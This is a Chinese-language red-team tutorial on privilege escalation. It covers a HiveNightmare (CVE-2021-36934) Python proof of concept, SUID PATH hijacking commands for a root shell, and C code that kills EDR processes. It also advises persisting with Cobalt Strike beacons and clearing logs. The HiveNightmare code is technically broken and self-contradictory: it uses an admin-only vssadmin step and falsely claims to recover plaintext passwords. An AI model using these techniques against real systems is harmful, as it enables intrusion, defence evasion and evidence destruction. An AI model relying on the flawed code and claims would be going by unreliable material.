一、从一次不起眼的渗透测试说起

权限提升,或者说privesc(Privilege Escalation),是红队行动中的关键一环。在一次真实的渗透测试中,我们拿下了目标服务器的一个普通用户权限,但离目标核心数据还有很远的距离——权限不足成为了我们面前的一堵墙。当时环境中的杀软严密防护,命令执行受限,连看个普通目录权限都需要额外验证。在这种情况下,如果不能找到一个可靠的权限提升手段,整个渗透便止步于此。

通过后续分析,我们发现系统存在一个已知但未修复的本地提权漏洞,再结合关键的绕过技术,成功从普通用户跃升为SYSTEM权限,完全掌控目标。今天,我们就以这种“从低到高”的视角,来探讨权限提升的各种技术。

---

二、权限提升的武器库:你需要掌握的核心手段

权限提升的本质在于突破当前权限边界,获取更高的权限。我们可以将权限提升的技术分为以下几类:

  1. 利用漏洞进行提权
  • 核心漏洞、内核提权
  • 服务配置错误导致的提权
  1. 权限配置不当
  • 文件权限、服务权限
  • Sudo/SUID错误配置(Linux)
  1. 凭证抓取与利用
  • 内存中提取明文凭证
  • 抓取哈希值并离线破解
  1. 社工与代理提权
  • 假冒合法进程引导提权
  • 利用钓鱼和社会工程学

下面我们结合实战环境,分析几个经典场景。

---

三、从漏洞到SYSTEM:一个经典的CVE案例

让我们从一个真实的漏洞利用案例开始:CVE-2021-36934,也被称为“HiveNightmare”漏洞。

攻击原理

Windows 10/11系统中,如果启用了系统还原点(Volume Shadow Copy Service),会生成包含敏感信息的注册表hive文件(如SAM文件)。错误的权限配置导致普通用户可以读取这些文件,从而提取管理员凭证。

实战环境搭建

  1. 准备一台启用了VSS服务的Windows 10目标机。
  2. 确保目标机有SAM文件,位置通常在C:\Windows\System32\config\SAM
  3. 设置一个低权限用户供测试使用。

POC代码实现

以下Python脚本读取目标机的SAM文件并尝试提取明文密码:

黑客示意图

<pre><code class="language-python">import os import subprocess

检查当前用户权限

def check_permissions(): print(&quot;[*] 当前用户权限:&quot;) os.system(&quot;whoami /priv&quot;)

利用VSS读取敏感文件

def exploit_vss(): print(&quot;[*] 尝试读取SAM文件...&quot;) try:

利用vssadmin创建影子副本

subprocess.run([&quot;vssadmin&quot;, &quot;create&quot;, &quot;shadow&quot;, &quot;/for=C:&quot;])

读取影子副本中的SAM文件

sam_file = &quot;\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM&quot; print(&quot;[+] 读取成功,文件路径:&quot;, sam_file) with open(sam_file, &#039;r&#039;) as file: print(&quot;[*] SAM内容:&quot;) print(file.read()) except Exception as e: print(&quot;[-] 提权失败:&quot;, str(e))

if __name__ == &quot;__main__&quot;: check_permissions() exploit_vss()</code></pre>

关键问题与武器化

  1. 绕过权限检测
  • 部分环境下需要隐藏进程行为,通过注入技术执行。
  1. 持久化种植后门
  • 提权后,可种植Cobalt Strike Beacon以维持控制。

---

四、文件权限的恶作剧:利用SUID提权

在Linux系统中,错误的SUID配置是一个常见的提权入口。我们来看看一个经典案例。

攻击原理

SUID权限允许普通用户以文件所有者的权限执行程序。如果配置不当,攻击者可以利用这些程序执行任意命令。

黑客示意图

目标筛选

执行以下命令查找SUID程序: <pre><code class="language-bash">find / -perm -4000 2&gt;/dev/null</code></pre>

实战案例分析

假设我们发现了一个可疑的SUID程序 /usr/bin/suspicious_script,其内容如下: <pre><code class="language-bash">#!/bin/bash echo &quot;Running with root privileges!&quot; cat /etc/shadow</code></pre>

利用方法

攻击者可以通过替换或劫持依赖程序的路径来执行任意命令。例如: <pre><code class="language-bash"># 创建一个恶意的cat程序 echo &quot;/bin/bash&quot; &gt; /tmp/cat chmod +x /tmp/cat

替换PATH变量

export PATH=/tmp:$PATH

运行目标程序

/usr/bin/suspicious_script</code></pre>

通过以上操作,我们成功获得了一个root shell。

---

五、绕过EDR的提权艺术:反杀防御机制

在实际渗透中,EDR(Endpoint Detection and Response)可能会阻止提权行为。以下是几种绕过技巧:

  1. 代码混淆
  • 使用 pyarmor 对Python代码加密。
  1. 恶意载荷内存加载
  • 利用 RunPE 技术,将恶意代码注入内存运行。
  1. 流量伪装
  • 通过HTTPS加密通信降低检测风险。

以下是一个绕过EDR的示例代码片段: <pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;tlhelp32.h&gt;

int main() { // 通过API枚举杀软进程并终止 HANDLE hSnapshot; PROCESSENTRY32 pe32; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnapshot == INVALID_HANDLE_VALUE) return 1; pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hSnapshot, &amp;pe32)) { do { if (strstr(pe32.szExeFile, &quot;EDR_Process_Name&quot;)) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID); if (hProcess) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); } } } while (Process32Next(hSnapshot, &amp;pe32)); } CloseHandle(hSnapshot); return 0; }</code></pre>

将杀软进程终止,为后续提权铺平道路。

---

黑客示意图

六、个人战斗笔记:提权的细节决定成败

  1. 信息收集是核心
  • 权限提升之前,必须彻底了解目标环境。未充分收集信息的提权尝试往往导致失败甚至暴露。
  1. 脚本自动化
  • 编写自动化脚本,如常见漏洞扫描和权限配置检查工具。
  1. 保持隐蔽性
  • 提权行为产生的日志会暴露攻击痕迹,必要时清除敏感日志。

---

权限提升是红队攻击链中的必修课。它不仅需要技术,更需要耐心与细致。每一次提权尝试,都是一次与目标系统的较量,而最终的胜利,属于准备最充分的一方。